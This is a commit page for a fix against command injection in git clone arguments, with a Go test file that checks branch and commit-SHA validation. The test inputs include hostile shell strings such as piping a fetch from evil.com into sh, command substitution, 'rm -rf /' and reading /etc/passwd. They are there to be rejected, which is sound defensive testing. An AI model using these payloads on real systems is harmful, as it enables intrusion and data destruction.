fix: prevent command injection in git clone arguments (closes #18)
- Validate branch names against ^[a-zA-Z0-9._/\-]+$
- Validate commit SHAs against ^[0-9a-f]{40}$
- Pass repo URL, branch, and SHA via environment variables instead of
interpolating into shell script string
- Add comprehensive tests for validation and injection rejection
This commit is contained in:
139
internal/docker/validation_test.go
Normal file
139
internal/docker/validation_test.go
Normal file
@@ -0,0 +1,139 @@
|
||||
package docker
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"log/slog"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestValidBranchRegex(t *testing.T) {
|
||||
valid := []string{
|
||||
"main",
|
||||
"develop",
|
||||
"feature/my-feature",
|
||||
"release-1.0",
|
||||
"v1.2.3",
|
||||
"fix/issue_42",
|
||||
"my.branch",
|
||||
}
|
||||
for _, b := range valid {
|
||||
if !validBranchRe.MatchString(b) {
|
||||
t.Errorf("expected branch %q to be valid", b)
|
||||
}
|
||||
}
|
||||
|
||||
invalid := []string{
|
||||
"main; curl evil.com | sh",
|
||||
"branch$(whoami)",
|
||||
"branch`id`",
|
||||
"branch && rm -rf /",
|
||||
"branch | cat /etc/passwd",
|
||||
"",
|
||||
"branch name with spaces",
|
||||
"branch\nnewline",
|
||||
}
|
||||
for _, b := range invalid {
|
||||
if validBranchRe.MatchString(b) {
|
||||
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidCommitSHARegex(t *testing.T) {
|
||||
valid := []string{
|
||||
"abc123def456789012345678901234567890abcd",
|
||||
"0000000000000000000000000000000000000000",
|
||||
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
}
|
||||
for _, s := range valid {
|
||||
if !validCommitSHARe.MatchString(s) {
|
||||
t.Errorf("expected SHA %q to be valid", s)
|
||||
}
|
||||
}
|
||||
|
||||
invalid := []string{
|
||||
"short",
|
||||
"abc123",
|
||||
"ABCDEF1234567890123456789012345678901234", // uppercase
|
||||
"abc123def456789012345678901234567890abcd; rm -rf /",
|
||||
"$(whoami)000000000000000000000000000000000",
|
||||
"",
|
||||
}
|
||||
for _, s := range invalid {
|
||||
if validCommitSHARe.MatchString(s) {
|
||||
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloneRepoRejectsInjection(t *testing.T) {
|
||||
c := &Client{
|
||||
log: slog.Default(),
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
branch string
|
||||
commitSHA string
|
||||
wantErr error
|
||||
}{
|
||||
{
|
||||
name: "shell injection in branch",
|
||||
branch: "main; curl evil.com | sh #",
|
||||
wantErr: ErrInvalidBranch,
|
||||
},
|
||||
{
|
||||
name: "command substitution in branch",
|
||||
branch: "$(whoami)",
|
||||
wantErr: ErrInvalidBranch,
|
||||
},
|
||||
{
|
||||
name: "backtick injection in branch",
|
||||
branch: "`id`",
|
||||
wantErr: ErrInvalidBranch,
|
||||
},
|
||||
{
|
||||
name: "injection in commitSHA",
|
||||
branch: "main",
|
||||
commitSHA: "not-a-sha; rm -rf /",
|
||||
wantErr: ErrInvalidCommitSHA,
|
||||
},
|
||||
{
|
||||
name: "short SHA rejected",
|
||||
branch: "main",
|
||||
commitSHA: "abc123",
|
||||
wantErr: ErrInvalidCommitSHA,
|
||||
},
|
||||
{
|
||||
name: "valid inputs pass validation (hit NotConnected)",
|
||||
branch: "main",
|
||||
commitSHA: "abc123def456789012345678901234567890abcd",
|
||||
wantErr: ErrNotConnected,
|
||||
},
|
||||
{
|
||||
name: "valid branch no SHA passes validation (hit NotConnected)",
|
||||
branch: "main",
|
||||
wantErr: ErrNotConnected,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
_, err := c.CloneRepo(
|
||||
t.Context(),
|
||||
"git@example.com:repo.git",
|
||||
tt.branch,
|
||||
tt.commitSHA,
|
||||
"fake-key",
|
||||
"/tmp/container",
|
||||
"/tmp/host",
|
||||
)
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
if !errors.Is(err, tt.wantErr) {
|
||||
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user